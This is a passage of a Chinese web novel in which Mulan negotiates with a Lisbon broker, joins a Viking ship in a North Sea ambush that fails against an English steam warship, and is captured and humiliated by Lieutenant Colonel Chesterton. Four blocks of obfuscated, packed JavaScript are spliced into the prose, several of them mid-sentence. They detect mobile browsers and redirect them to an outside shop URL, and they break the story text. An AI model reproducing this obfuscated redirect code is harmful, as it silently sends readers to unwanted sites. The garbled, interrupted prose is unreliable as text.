“正因为是政治，”木兰的插入毫无违和，“所以才有周旋的余地。” 托尔格转向她，语气里的不耐烦已经不加掩饰：“周旋？你一个残废，懂什么叫政治？” “我懂什么叫生存。”木兰迎着他的目光，“有一个词，叫杀鸡儆猴。一群难管的猴子让人头疼，在他们面前找只鸡，磨了刀子一点一点的割着喉咙，让它的惨叫，回荡在每一个猴子的脑袋里，他们就学会了安静。” “如果海狼号被轻易剿灭，英吉利下一个要拿来立威的会是谁？那些还在北海活动的其他维京船队？还是在里斯本游走两边、赚得盆满钵满的中间人？” 托尔格脸上的肌肉绷紧了。 “一个混乱但有序的北海，”木兰继续说，语速不快，每个字都清清楚楚，“对维京人是生存空间，对你，是生意的基础。如果英吉利觉得维京人太好对付，他们就会收紧控制。到时候，你还能像现在这样，把北方的毛皮卖给葡萄牙宫廷，把南方的火药卖给维京首领吗？” 仓库里很安静。外面工人搬运货物的吆喝声隐约传来。 托尔格盯着木兰，油灯的火苗在他瞳孔里跳动，那里面有什么东西在重新计算。 最后，他靠回椅背，手指在桌面上敲了敲。 “五天。”他说，“切斯特顿的舰队五天后从朴茨茅斯出发。三艘船——猎隼号是改装过的快速战舰，两侧各有八门火炮；海鸥号和信风号是旧式武装商船，火力弱一些。总兵力大约一百二十人。” 奥拉夫惊讶，竟然正如木兰推断。 托尔格脸色比刚才更阴沉。“我忘说了一件事。”他盯着奥拉夫，“你知道切斯特顿为什么抢这任务？” 奥拉夫皱眉。 “他家族在东印度公司的股份快被清退了！”托尔格每个字都像钉子，“他需要一场惩戒维京人的胜利，去议会换贸易特许状！你以为这是海战？这是政治交易！” “切斯特顿是子爵，他父亲在下议院还有几个盟友，这次全押上了。如果任务失败……”他冷笑，“他失去的不只是军功，是整个家族在殖民贸易里的位置。” 木兰突然皱了皱眉——殖民 木兰突然开口：“如果他急需军功，就不会只做表演。” 托尔格看向她。 “他会想超额完成。”木兰说，“俘获首领，击沉多船，让战报写得漂亮。这样他不仅能换特许状，还能从B级战功跳到A级边缘——足够他父亲运作晋升准将。” 托尔格眯起眼：“你怎么知道战功分级？” “猜的。”木兰说，“任何军队都需要标准。B级是惩戒骚扰，A级是重大胜利。他需要后者。” 托尔格重新打量木兰，这次是码头商人评估风险时的眼神。 “你们必须输。”他终于说，“他会拼命打，而且，这次是中校，如果他完不成任务，明天会是其他舰队，英军会追着你们不死不休。” “不必如此悲观，可以让他们赢得艰难。”木兰回答 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081267|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她继续说，“难到他的战舰受损，人员伤亡，但最终勉强取胜。这样可以安抚贵族，他的战功也够晋升，同时又可以重新平衡，保持他们对维京人的忌惮。” 奥拉夫盯着两人：“你们在替我决定怎么输？” “在替你决定怎么活。”托尔格说 “他们不会走常规商路。”托尔格从抽屉里取出一张更精细的海图，铺在桌上，“大概率会绕道设得兰群岛北侧，从那里南下，截击从挪威返回的维京船队，这是最合理的遭遇战剧本。” 他的手指在地图上划过一条弧线。 “但这是官方计划。”托尔格看着木兰，“我打听到的另一个消息是，切斯特顿私下联系了几个挪威的维京首领，出价买海狼号的具体返航路线和日期。” 奥拉夫的脸色沉了下来。 “给我内鬼的名字。” “是生意。”托尔格纠正，“总有人觉得，卖了自己兄弟，能换到更好的价码。” “到底是谁？” “我不知道。也不想知道。”托尔格收起海图，“我能告诉你的就这些。剩下的，你自己解决。” 奥拉夫盯着他，突然笑了。那笑容很冷，带着豁出一切的狠劲。 “够了。”他说，“这些就够了。” 他站起身，椅子腿再次刮过石板。木兰也跟着站起来。 托尔格看着他们走到门口，突然开口：“奥拉夫。” 奥拉夫回头。 “如果你死了，”托尔格说，语气罕见地没有嘲讽，“我会把你的骨灰带回北方。这是我能做的全部。” --- 回码头的路上，港口已经完全苏醒。 商贩在叫卖，水手在赌钱，妓女靠在门边招揽客人。希望，贪婪，疲惫，还有海风永远吹不散的咸腥，这里是里斯本，过去是这样，未来也会是这样。 走到海狼号泊位时，奥拉夫停下脚步。望了望天，那里应该是一头呲牙眼里凶狠的血狼。 “你怎么知道那些话能说服托尔格？”他问。 “因为那是事实。”她说，“他能在里斯本立足十二年，不是因为勇敢，而是因为懂得权衡。告诉他危险，不如告诉他利益。告诉他忠诚，不如告诉他损失。” 奥拉夫盯着木兰，突然说：“你猜的。战功分级，政治算术，特许状换军功——都是猜的？” “是观察。”木兰说，“码头每天有东印度公司的船进出。我听过水手聊天，说这次航行关系东家的晋升，说也想当军官领战功，在攒钱去海军军校。拼起来，就是图案。” 奥拉夫沉默了一会儿。 “准备一下。”他说，“我们提前出发。明天一早。” “去哪？” “北海。”奥拉夫转身望向大海，眼神像北地的冻土，“在猎人来之前，先找到埋伏点。” 他迈步走向海狼号。船上的桨手看见他，开始解缆绳，升起船帆。 木兰站在码头上，看着那艘船。风吹动她空荡的右袖，猎猎作响。 她深吸了一口气，是远航的苦，还有一丝她最熟悉，也最厌恶的： 政治算术的味道。 然后她迈步，跟上奥拉夫的背影，朝着那艘即将驶入风暴的黑色长船走去。 风更急了。 浪头拍打着码头基石，碎成白色的泡沫。 北海的冬天，要来了。 20. 北海渡17 北海的雾浓得化不开。 海狼号静伏在礁石阴影中，船身漆成与礁石相近的暗灰色，帆半降，桨收起。四十二个维京战士或坐或蹲，武器放在手边，呼吸压得轻缓。没有人说话，只有海水拍打礁石的规律声响，和偶尔掠过的海鸟凄鸣。 奥拉夫站在船首，他手里捏着羊皮纸——托尔格给的海图，上面用炭笔画着航线、雾区、和这片礁石群中央那个醒目的叉。 “就是这里。”他拇指按在那个叉上，声音低沉如闷雷，“猎隼号、海鸥号、信风号，三艘船，从东南来。他们会绕群岛北侧，假装例行巡逻。”他抬起头，目光扫过甲板上每一张脸，“我们要在他们进雾区前咬住尾巴，在他们反应过来前，撕开喉咙。” 埃里克蹲在船舷边，用手试水温。海水刺骨，暗流在指尖涌动。“水流比图上急。”他说，“礁石也多，他们的大船不敢贴太近。” “所以才选这。”奥拉夫折起海图塞进皮袋，“我们船小，能钻他们钻不进去的缝。” 木兰坐在左舷第二桨位旁，这是奥拉夫指定的位置，在埃里克左侧。她用左手检查短铳，动作慢而稳：倒火药，填铅弹，麻布塞紧，通条压实。枪是单发的，从理查尸体上取下的纪念品。 一发子弹。一次机会。 她收枪入怀，背靠船板，闭眼。 “托尔格的消息从没出过错。”奥拉夫补了一句，像是在说服自己，“他靠这个吃饭。” 埃里克站起身，红发在雾气中显得黯淡。“但他也说有内鬼。” “所以才提前到。”奥拉夫望向东南方向，那里海天交界处一片混沌的灰黑，“我们要在他们等内鬼消息的时候，先等他们。” 等待开始了。 长船如沉睡的黑兽，藏在最大礁石的背阴处。四个桨手轮流划小艇在外围巡逻，不点火把，靠星位和手摸礁石判断距离。其余人休息，但没人真睡得着。手总搭在斧柄或刀柄上，眼睛在昏暗中亮着微光。 木兰闭眼却未真正的放松，右肩旧伤在寒夜里隐隐作痛。她在推演：三艘英舰，兵力两倍半，火力悬殊。但托尔格说切斯特顿要的是俘获，不是击沉，他们要政治表演。这意味着英军不会一开始就全力开火，他们会试图接舷，抓活的。这是机会。 远处传来海鸟鸣叫，短促凄厉。 午夜三点，最黑的时候。 外围小艇传来三短一长的鸥鸣——预警。 所有人瞬间绷紧。武器出鞘的窸窣声、箭矢搭弦的轻响、斧柄握紧的摩擦。无人说话。 奥拉夫摸到船首：“方向？” “东南。”负责侦查的人声音飘过船面，“三团光，慢速，间距两百步左右。” “船型？” “中间那团最高，主桅。” 猎隼号。 奥拉夫回头，在昏暗中找到木兰的位置，点了下头。 木兰抬手，拍了拍身旁老桨手的肩。 老桨手深吸气，喉头震颤，一声凄厉的黑背鸥鸣撕裂寂静，在礁石群间反复回荡，如亡魂恸哭，又如挑衅的号角。 小艇收到了回应，缓慢潜入黑暗中返回。 我们在这，等着你。 --- 天光微亮时，雾涌起来了。 不是缓缓弥漫，是从海面蒸腾而起，几个呼吸间就吞没了视野。能见度骤降到不足二十步，礁石变成模糊黑影，海水声变得沉闷如巨兽呼吸。 “好雾。”奥拉夫咧嘴，露出一口被烟熏黄的牙，“诸神站在我们这边。” 桨手们交换眼神，嘴角扯出笑。雾是维京人的朋友，船小灵活，能借雾隐蔽突袭，打对方措手不及。 埃里克带十人分乘两艘小艇，消失在浓雾中。他们携着火油罐，任务是在礁石岛东侧埋伏，等信号点火。另一组五人在西侧备用，这是木兰的建议，虽然埃里克觉得多此一举，但奥拉夫点了头。 “小心点。”埃里克上小艇前，奥拉夫拍了拍他的肩。 七点，雾最浓时，帆影出现了。 先是最高的一根桅杆尖刺破灰白，接着是帆的轮廓，最后是船身。深蓝色，侧舷炮窗紧闭，甲板上人影绰绰。猎隼号。 它航速极慢，几乎是随波逐流。船首有人不断抛铅锤测水深，动作谨慎得近乎迟疑。后方左右，另外两艘船的影子隐约可见：海鸥号在左，信风号在右。三船呈松散的三角阵型，但间距拉得太大，不像战斗队形，倒像在搜索什么。 “他们在找我们。”奥拉夫压低声音，带着压抑的兴奋，“内鬼给的消息不具体，他们在摸。” “好机会。”一个年轻桨手舔了舔干裂的嘴唇，握紧斧柄。 猎隼号越来越近。八十步、六十步、四十步——已经能看清甲板上水手的面孔，能听见他们用英语交谈的片语。 船首那名军官突然举起望远镜，对准的正是海狼号藏身的礁石方向。 “被发现了！” 几乎同时，猎隼号桅杆上升起信号旗——红黄两色。 “接敌准备！”奥拉夫吼声如雷，“起桨！” 三十支桨同时入水，但海狼号没立刻冲出阴影。奥拉夫在等——等对方先动，等他们露出破绽。 猎隼号动了。 它没有转向迎敌，反而开始缓缓后退，同时向左右两侧打旗语。海鸥号和信风号开始向中间靠拢，试图形成保护阵型，但动作笨拙迟缓，像没睡醒。 “现在！”奥拉夫战斧前指。 海狼号如离弦之箭射出礁石阴影。桨叶破水声整齐如擂鼓，船首劈开海浪，直扑猎隼号右舷。距离迅速拉近：三十步、二十步、十步—— “点火！” 礁石岛东侧，火光骤起。 埃里克的人抛出火罐。六个浸透焦油的罐子划出弧线，三个砸中海鸥号主帆，两个落在甲板，一个砸在船舷炸开。火焰腾起，帆布烧得噼啪作响，浓烟混入雾中，将海鸥号裹成一座燃烧的囚笼。 “漂亮！”奥拉夫大笑。 海鸥号乱成一团。水手们尖叫着提桶泼水，但焦油火用水难灭，反而溅开火星，点燃更多地方。有人从燃烧的帆缆上跳海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081268|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，扑通声接二连三。 猎隼号还在退。它似乎被海狼号的突袭吓住了，舵手操作生涩，船身在海面划出不规则的弧线，右舷侧对海狼号，炮窗依然紧闭。 “他们不敢开炮！”一个维京战士吼到，“怕打中自己人！” 奥拉夫战斧高举：“接舷！” 抓钩抛出。铁钩咬住猎隼号船舷，咯吱作响。维京战士开始收索，两船距离迅速缩短——五步、三步、一步！ 第一个维京人跳上猎隼号甲板时，英军水手还在慌乱地装填火枪。战斧劈下，头颅滚落。血喷溅在光洁的甲板上，开出刺目的花。 第二个、第三个……海狼号的战士如狼群跃上敌船。斧刃砍进血肉的声音、骨头碎裂的闷响、濒死的惨嚎，瞬间充斥雾中。 猎隼号的抵抗微弱得可笑。水手们似乎被这突如其来的接舷战吓懵了，装填火枪的手在抖，刺刀握不稳，阵型一冲即散。几个军官试图组织防线，但刚喊出命令就被飞斧砸倒。 埃里克守在左舷缺口，那是他撕裂开的位置。一夫当关。战斧每次挥动都带起血雾，他左劈右砍，如入无人之境。一个英军士兵挺刺刀刺来，他侧身让过，斧柄反砸对方喉结，那人捂着脖子倒下，眼珠凸出。 有人不屑大吼，“这就是英吉利海军？！” 奥拉夫站在猎隼号舰桥台阶下，一斧劈开试图关门的大副，血溅了满脸。他抹了把脸，回头望，海狼号还贴着猎隼号，桨手们守在船上，防止敌船逃脱。海鸥号在远处燃烧，信风号似乎想救援，但被两艘维京小艇缠住，进退不得。 胜利的滋味甜得发腥。唾手可得。 奥拉夫大步走上舰桥，靴子踏在血泊中啪嗒作响。那个一直慌张指挥的年轻贵族缩在舵轮旁，脸色惨白如纸。 “子爵大人？”奥拉夫咧嘴，把他拖到甲板，斧刃抵住对方下巴，“听说你想要我的头，去换什么……特许状？” 年轻贵族嘴唇哆嗦，说不出话。 奥拉夫大笑，笑声震得舰桥嗡嗡作响。他正要挥斧—— 左舷传来异常的滞涩感。 不是一声，是一连串——左舷第三桨位、第七桨位、第十一桨位……闷响声接二连三，像有什么东西在水下绞住了桨叶。 海狼号猛地一顿。 船身开始不受控地打横。 “怎么回事？！”奥拉夫吼。 “桨缠住了！水下有东西——” 话音未落，雾中传来汽笛尖啸。 不是帆船能发出的声音——是蒸汽机的嘶吼，低沉、绵长、带着金属摩擦的刺耳。声音从浓雾深处传来，越来越近，越来越响。 所有人都停了手。 猎隼号甲板上，那个原先缩在舵轮旁的年轻贵族突然站直了身体。他脸上恐惧的表情消失了，取而代之的是一种木然的平静。他脱下沾血的外套，露出里面普通尉官的制服，然后对着雾气深处方向立正敬礼。 动作标准得像排练过百遍。 奥拉夫瞳孔骤缩。 第四艘船的轮廓从雾中浮现。 21. 北海渡18 第四艘船的轮廓从雾中浮现。 更长，更大，两侧明轮缓慢转动，搅起白色浪沫。烟囱喷吐黑烟，在灰白雾霭中如狰狞的伤疤。船首漆着白底红字：HMS Thunder。 雷霆号。 舰桥上，一个高挑身影举起红黑双色旗。 链弹齐射。 数十根铁棍连着锁链，旋转着从炮口飞出。它们撕裂空气，发出鬼哭般的尖啸，缠上猎隼号和海狼号的主桅、副桅、缆索、帆桁。帆布被撕成布条，缆索崩断如琴弦，木屑如暴雨倾盆。 海狼号瞬间变成瘸腿的狼。 左舷半数桨叶被水下牛皮索缠死，船身打横角度越来越大。右舷完全暴露在雷霆号侧舷炮的射界内。 奥拉夫胸口一痛。 他低头，看见一支弩矢插在胸前，箭杆还在微微震颤。血迅速洇开，染红衣襟。他踉跄退了两步，背靠猎隼号舰桥栏杆才没倒下。 “操”他啐出一口血沫，“真他妈准。” 埃里克嘶吼着从猎隼号跳回海狼号。甲板上已经倒了七八个人，都是被链弹碎片或飞溅的木刺所伤。还活着的人举盾聚拢，但盾牌挡不住所有角度。 雷霆号放下六艘接舷艇。黑衣海军陆战队如蚁群涌来，他们不急于登船，而是先在外围用火枪点射——专打试图砍索或操舵的人。 又一个桨手中弹，惨叫着栽进海里，血染红一片水面。 “盾阵！收缩！”埃里克吼，声音嘶哑。 但盾阵在链弹的撕裂下早已残缺。又一发链弹飞来，缠住副桅，整根桅杆发出不堪重负的呻吟，缓缓倾斜，最后轰然倒下，砸在左舷，压死了两个来不及躲的战士。 木兰快速扫掠全场： 埃里克在船首试图砍断缠住右舷桨叶的索链，但牛皮索缠了三层，斧刃只能在浸油硬化的索链上留下白痕，随即被坚韧的纤维死死裹住。 最近一艘接舷艇还有十桨距离。 船身打横角度已超过五十度，右舷完全暴露。 雷霆号侧舷炮窗正在推开，这次不是链弹，是实心弹的炮口。如果齐射，海狼号会被打成碎片。 她深吸一口气，声音穿透喧嚣，组织反击：“下水！两人一组！一人割索一人护卫！三十息一换！” 还活着的桨手轮替跃入水中。海水冰冷刺骨，水下视线浑浊，只能靠手感摸索索链缠绕方向。刀割在浸水的牛皮索上，又涩又滑，进展缓慢。 但缠索一根根断。 海狼号挣扎着想要摆正船身。 还剩最后一根主索，缠在舵叶与右舷末桨之间，位置刁钻，必须有人潜到船底。 埃里克浑身浴血。左肩有道伤口深可见骨——是登船钩划的，钩子带倒刺，扯下一块皮肉。血顺胳膊流到斧柄，握柄处打滑。他扯下腰带缠了两圈，继续挥斧砍索，每一斧都用尽全力，虎口震裂。 缺口处，黑衣士兵开始登船。 第一个刚露头，埃里克战斧劈开他的头盔。第二个从侧面爬上来，他侧身用盾撞，那人惨叫落海。第三个、第四个同时上，他斧盾并用，格开刺刀，反手劈断一人小腿，盾缘砸碎另一人面骨。 脚下尸体堆叠。 但他呼吸越来越粗重，挥斧速度慢了。 左舷缺口侧面，一名英军士兵趁他格挡正面攻击，从死角阴影里抬起火门枪。 枪口对准埃里克后脑。 距离不足五步。 引火药嘶嘶燃烧。 木兰看到了。 她左手抽出腰间短铳，几乎没瞄准，凭肌肉记忆扣扳机。 砰！ 枪声在海战喧嚣中微弱，但在近距离如惊雷。 那士兵额头炸开血花，仰面倒下。火门枪脱手，砸在船舷，引火药点燃了旁边一截缆绳，火苗窜起。 埃里克甚至没回头，战斧已劈开正面敌人的锁骨。 木兰扔下空枪，没时间重装了。她拔出匕首，准备跳海割最后一根索。 雷霆号上，第二声汽笛尖啸。 舰首炮口火光一闪。 炮弹轨迹不是瞄船体，不是瞄人群，是瞄埃里克身后那根主桅的基座。 木兰瞬间全明白了。 这不是乱打。是在逼埃里克移动，炮击会炸碎桅杆基座，倒下的桅杆会像巨锤砸落。埃里克背对桅杆，全神迎敌，毫无察觉。 阳谋。 要么让埃里克死，海狼号失去最强战力。 要么救他，但救的人会暴露在炮击范围。 炮弹在空中旋转。时间像被拉长。 无数声音从四面八方涌来，悉悉索索如潮水： “一路平安” 阿银在青梅树下回头，发丝被初夏的风拂起。 希尔达在药草房低头包扎，睫毛在油灯光里投下细影。 两张面孔重叠，嘴唇开合。 一路平安。 然后是奥拉夫的声音，在她接过哈拉尔盾牌那晚： “盾为你挡开死亡，但你也得用命去守同伴的后背。” 理性在脑中尖叫，嘶吼，咆哮： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081269|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >让他死！船需要战士！但你要活下去！要回东方去！要带着学到的东西回去救阿银救故国！让他死死死死死死死死——！ 但身体—— 身体比任何想法先做出了决定。 像有邪神扯断了她思维的线，像有更古老的本能从骨髓深处炸开，再也不是权衡。 她扑了出去。 木兰用尽全身力气，猛推埃里克后背。 红发维京人向前踉跄扑倒，战斧脱手。 几乎是同时，炮弹击中桅杆基座。 爆炸的冲击波、飞溅的木屑、断裂的铁钉、碎裂的帆骨——世界在那一瞬间变成毁灭的暴雨。她后背如被无形巨锤砸中，右肩旧伤处传来皮开肉绽的撕裂感，肋骨断裂声清脆得像玉簪折断。 黑暗吞没一切前，她最后看见的，是埃里克回头时那双惊愕的眼睛。 更远处，雷霆号舰桥上，那个高挑身影拿着望远镜，浅灰色的眼睛隔着浓雾与血，审判着海狼号，指节微微发白。 然后一切归黑。 --- 奥拉夫撑着战斧站起来时，甲板上已没几个活人。 胸口弩矢随着他粗重呼吸起伏，每次吸气都带出汩汩血沫。他看倒下的木兰被半截桅杆压住下半身，一动不动。看埃里克被压在另一堆碎木下，只有一只手还露在外面，手指微微抽搐。 黑衣士兵如潮水涌上甲板，火枪、刺刀、剑，围成圆圈。 奥拉夫笑了。 血从嘴角流下，顺着火红胡子滴在甲板上，和兄弟们的血混在一起。 “告诉你们的女王”声音嘶哑却清晰，每个字都用尽力气， “维京人站着死” 他转身，纵身跃入北海。 海狼号在挣扎中解开的那些铅块有几块滚到船边。他落水时抓住最大一块，抱在怀中，如拥抱情人。 海水吞没了他。 他是最后一个。 船上其余人，早在接舷战中尽数战死。无一人降。 雷霆号的蒸汽机发出低沉轰鸣，明轮转动，缓缓驶离这片漂浮着残骸与血沫的海域。 舰桥上，阿瑟·切斯特顿放下望远镜。浅金色头发束在脑后，几缕碎发被海风吹起。眼睛扫过海面——那里，海狼号的残骸正在缓缓下沉，只剩船首那个被熏黑的狼头雕像还浮在水面，怒目圆睁，望着灰白色的天空。 风里带着血腥味，和远方隐约的、像是黑背鸥的悲鸣。 “清理战场。”他声音平静，“尸体抛海，有价值的物品收缴。” 22. 北海渡19 军官舱里，切斯特顿坐在书桌前，面前摊开战报初稿。 “……于设得兰群岛北侧遭遇维京海盗海狼号，经激战，击毙匪首奥拉夫及余众四十一人，俘获重要头目一人。缴获……” 木兰是在底舱的剧痛与高热中恢复意识的。 右肩伤口溃烂发烫，每一次呼吸都牵扯断肋，左眼那片永久的薄翳后，世界时而模糊时而刺痛。她躺在一堆浸透海水的烂麻布上，身下是雷霆号底舱最潮湿的角落。空气里弥漫着霉味。 不知过了多久——可能一天，也可能三天。时间在黑暗与疼痛中失去意义。 舱门被推开时，刺眼的光线扎进来。两个水手走进来，靴子踩在积水地板上溅起污浊水花。他们走到木兰身边，用脚踢了踢她肋骨。 “醒了？” 她没动。 一碗冷水泼在脸上。 冰冷刺激让她猛地一颤，呛咳起来。肋骨剧痛炸开，眼前发黑。 “起来。”水手拽着她反绑的胳膊拖起来。手腕上粗糙的麻绳早已磨破皮肤，伤口泡得发白外翻，一扯就渗出血水。 她被架着走过昏暗甬道，爬上陡峭的楼梯。每上一级台阶，断肋就像刀子在胸腔里搅动。甲板的光刺得她睁不开眼，海风裹着血腥味扑面而来，那是海狼号的血，兄弟们的血。 最后她被扔进船长室，膝盖砸在染血的橡木地板上。 --- 阿瑟·切斯特顿 她跪着，勉强抬头。 先看见军靴。锃亮如镜的黑色皮革，鞋底边缘沾着未洗净的血渍与海盐结晶。深蓝色制服裤线笔直如刀裁，金色绶带垂在胸前，中校肩章上的徽记在舷窗透进的光中反射冷硬的光。 视线向上。 那人坐在高背帆布椅上，姿态放松却自带威仪。他身材高大挺拔，肩宽腰窄，制服完美贴合身形，像量身定做的铠甲。浅金色头发束在脑后，长度及肩，几缕碎发落在额前，在光下如熔化的白金。 他的脸。 非常英俊。 不是阴柔的美，是雕塑般带有侵略性的英俊。高挺鼻梁，眉骨深邃，下颌线条如刀削斧凿。皮肤是贵族特有的苍白，但唇色很淡，抿成一条冷硬的线。最令人难忘的是那双眼睛：浅灰色，虹膜颜色极浅，在阴天光线下近乎透明，看人时像两块浮冰缓慢碾过灵魂。 他看起来不过二十七八岁，但肩章已是中校。年少有为，气度非凡，像从宫廷画里走出的王子——如果忽略那双眼睛里毫无温度的光。 阿瑟·切斯特顿中校。 他右手搭在椅扶手上，食指与拇指无意识地摩挲左手无名指的家族戒指。银戒上刻着剑与缠绕的玫瑰，边缘已被摩挲得温润。 “抬头。” 声音中性，低沉，优雅如大提琴最低的音弦。 军靴抬起，鞋尖抵住木兰下巴，强迫她仰脸。 动作不重，甚至算得上“轻柔”，但那种居高临下的羞辱感如针扎进皮肤。 木兰被迫抬头。她没有挣扎，只是用那只完好的右眼平静地看着对方——审视，评估，唯独没有恐惧。 切斯特顿浅灰色的眼睛微微眯起。 他不满意。 他想要恐惧，想要哀求，想要崩溃。但这个残废的东方人，这个应该趴在地上乞命的俘虏，居然用这种平静到近乎冷酷的眼神看他。 像在说我看穿你了。 靴尖移到木兰脸侧，轻推，让她露出空荡的右袖和左眼上那片永久的薄翳。然后又移到另一边，展示相对完好的左脸。 像在检查一件破损的货物，看还有多少剩余价值。 “残废。”切斯特顿收回脚，语气平淡得像在陈述天气。 他从副官托盘中拿起两样东西：理查那把镶嵌象牙的短铳，一支白玉簪。 “枪是德·克莱尔家那个蠢货的。”他随手将短铳丢回托盘，金属碰撞声清脆，“但这东西……” 他举到眼前，透过半透明的玉石看窗外灰白天空。 “东方垃圾。” “保存得倒挺好，不该出现在维京人身上。” 目光落回木兰脸上。 “谁的？母亲？姐妹？还是……”他停顿，像绅士在沙龙里等待对方接话，唇角勾起极淡的、礼貌的弧度。 “爱人？” 木兰的呼吸停滞了一瞬。 切斯特顿捕捉到了。他笑了，那笑容得体优雅，像个在宫廷舞会上邀请淑女共舞的贵族。 然后他松手。 玉簪落在染血甲板上，“嗒”一声轻响。 军靴抬起，鞋底精准踏在簪身中央。 缓慢地，一寸一寸地，碾下去。 纵向压力让玉簪弯曲，横向拧转——玉石发出细碎清晰的断裂声，像谁的脊梁在皮下折断。 --- 碎裂 木兰盯着那只靴子。 盯着靴底下逐渐崩解的白玉云纹。 那是出征时，阿银跑过青石板，亲手递给她簪子。 那是木兰在阿银十五岁及笄时送的生辰礼，她花了三个晚上，在油灯下一笔一笔雕出的曲线。 阿银说云是自由的，能飘过千山万水。 那是沧江刺骨水底她紧握不放的最后温暖。七箭穿身，江水灌进口鼻，意识模糊时她唯一记得的是握紧这支簪子。 不能丢。丢了就真的什么都没有了。 那是三年来在西行路上、在里斯本码头、在每一次快要撑不下去时，她摸着胸口告诉自己“还有东西要回去”的凭证。 是花木兰还存在过的证据。 现在它在靴底碎裂。 什么东西在她脑子里断了。 木兰一直以冷静、克制、近乎冷酷的理性筑起的高墙，在那一瞬间土崩瓦解。不是缓缓倾倒，是爆炸般的崩毁，碎片扎进灵魂每一个角落。 喉咙里发出不像人类的低吼，她挣扎着要扑上去——哪怕双手反绑，哪怕肋骨断了三根，哪怕每动一下都痛得眼前发黑。 她要咬断那个人的喉咙。 她要把他撕碎。 她要让这艘船、这个国家、这个披着文明外衣的强盗窝，全都烧成灰。 切斯特顿看着她的挣扎，浅灰色眼睛里闪过一丝满意，终于有情绪了。但紧接着，那满意变成了某种更黑暗的东西。 他开始笑。 起初是低低的、从喉间滚出的闷笑，然后笑声越来越大，越来越癫狂。他仰起头，浅金色头发从肩后滑落，笑声尖锐得刺耳，肩膀颤抖，手指紧紧抓住椅子扶手，指节白得发青。 像个终于看到期待已久戏剧的观众，又像个发现自己苦寻不得答案就在眼前的疯子。 “哈哈哈！你看！”他笑得喘不过气，指着木兰对副官说，“为了一块垃圾！一块东方垃圾！” 笑声骤停。 他猛地弯腰，凑到木兰耳边。声音压得极低，每个字裹着毒液： “你这种会为了同伴不要命的蠢货。”真正的愤怒从优雅面具下渗出，“我想要的活饵是那个红发维京人，不是你这种残废怪胎。你毁了我完美的俘获名单。” “全船战死，无一活口，这报告怎么写？嗯？” 直起身，恢复优雅姿态，但眼底疯狂余烬未熄。 木兰突然开口。 声音嘶哑得像砂纸磨铁，却清晰得每个字都钉进空气： “我原以为英吉利是个先进的国度。” 切斯特顿挑眉。 “我以为你们有法律，有议会，有文明的规则。” 木兰盯着他，独眼里那片薄翳后的世界模糊，但眼神锋利如淬毒匕首。 “我羡慕那台自鸣钟的齿轮，我以为这就是真理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081270|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “结果你们是强盗，是小偷，是披着绅士皮的禽兽。” “你们朝廷里那些算计、背叛、用人命换权力的戏码，不过是将掠夺写成了法典，将屠杀做成了生意，用进步和契约粉饰你们的糜烂。” 她喘了口气，血从嘴角流下： “权力在哪都一样脏。人都一样烂。” 船长室死寂。 副官屏住呼吸。门口卫兵的手指扣紧了扳机。 切斯特顿脸上的笑容消失了。 那层精心打磨的、优雅从容的绅士面具彬彬有礼的面具，被这几句话生生剐开一道裂口，露出底下某种冰冷而暴戾的真实质地。浅灰色的眼睛里翻涌更深的、近乎憎恶的东西——被洞穿的暴怒。 他憎恨这种目光。 憎恨这个残废的东方人用这种眼神看他，高高在上，了然于胸的轻蔑，仿佛他经营的体面、筹谋、在规则中游刃有余的周旋，在对方眼里不过是一场自欺欺人的拙劣。 竟敢说他和那些强盗小偷一样。 切斯特顿家族掌控着海上贸易的权柄，指尖流转的是契约与黄金，船舱里堆积的是各国的特许状与法律文书。 这与那些凭蛮力劫掠的野蛮人怎能相提并论？ 他缓缓站起，居高临下看着木兰。身高优势让他如塔耸立，阴影完全笼罩跪着的人。 “你很擅长把脓疮说成真理。”声音平静得可怕，“那就去兽戮围场说吧。那里有的是听众，会好好听你尖叫。” 对副官挥手： “这个送去兽戮围场——告诉管事，我要她活满十轮。少一轮，我拆了他的场子。” “长官，那个红发维京人……” “找到了？” “没有。海狼号沉没区域搜过，只有尸体。他可能被浪冲走了” 切斯特顿沉默片刻：“继续搜。不放过任何一个角落。我需要一个重要俘虏来完善战报。” 